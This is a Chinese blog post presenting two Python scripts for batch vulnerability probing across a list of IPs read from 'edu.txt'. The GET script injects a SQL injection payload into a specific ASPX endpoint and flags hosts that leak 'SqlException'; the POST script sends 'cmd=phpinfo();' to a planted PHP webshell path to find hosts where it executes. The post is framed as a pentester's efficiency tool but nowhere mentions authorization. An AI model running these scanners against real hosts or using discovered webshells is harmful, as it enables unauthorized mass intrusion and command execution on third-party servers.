返回顶部

安服实用小脚本:get与post两种批量请求方式的模板

题记

    安服可能都有批量挖洞的需求,这时候验证漏洞存不存在就显得尤为重要,可以加快我们的工作效率。因此我整理下get请求和post请求下不同的模板,我们用的时候改一下url链接就好。

Get批量脚本

    把要检测的ip放在edu.txt中,把相关漏洞链接复制到url的位置,看漏洞响应情况加个if判断(不同漏洞页面响应情况不同,你想要更精准些就自己写个正则,我懒),然后python3 poc.py即可。

    这是get请求。

import requests
file = open('edu.txt','r')
number = file.readlines()
id=1
for i in number:
    i = i.rstrip()
    i = str(i)
    try:
        url = 'http://' + i + "/client/messageurl.aspx?user=%27%20and%20(select%20db_name())>0--&pwd=1"
        #print(url)
        r = requests.get(url, timeout=1)
        r.encoding = r.apparent_encoding
        HtmlText = r.text
        if 'SqlException' in HtmlText:
            print(""+str(id)+"个漏洞网址:"+url)
            id=id+1
        else:
            pass
    except:
        pass

效果图:

Post批量脚本

    有时候我们需要post请求发送数据,上面那个模板就不行了。自己看着改,需要加cookie的时候就加上cookie。这里我测试的是木马。

import requests

file = open('edu.txt','r')
number = file.readlines()
id=1
for i in number:
    i = i.rstrip()
    i = str(i)
    try:
        #这里修改目标路径
        url = 'http://' + i + "/20mm85.php"
        #print("这里测试一下ip的流向:" + url)
        headers={
          'cookie':'',
          'User-Agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)'
        }
        data={
            'cmd':'phpinfo();'
        }
        #values = {'name': 'admin', 'password': '123456'};
        #data = urllib.urlencode(values);
        result=requests.post(url,headers=headers,data=data,timeout=1).content.decode('utf-8')
        if 'phpinfo' in result:
            print(""+str(id)+"个漏洞网址:"+url)
            id=id+1
        #print(url)
        #r = requests.get(url, timeout=1)
        #r.encoding = r.apparent_encoding
        #HtmlText = r.text
        #if 'SqlException' in HtmlText:
        #    print("第"+str(id)+"个漏洞网址:"+url)
        #    id=id+1
        else:
            pass
    except:
        pass

效果截图:

posted @ 2021-06-22 16:47  11阳光  阅读(662)  评论(0编辑  收藏  举报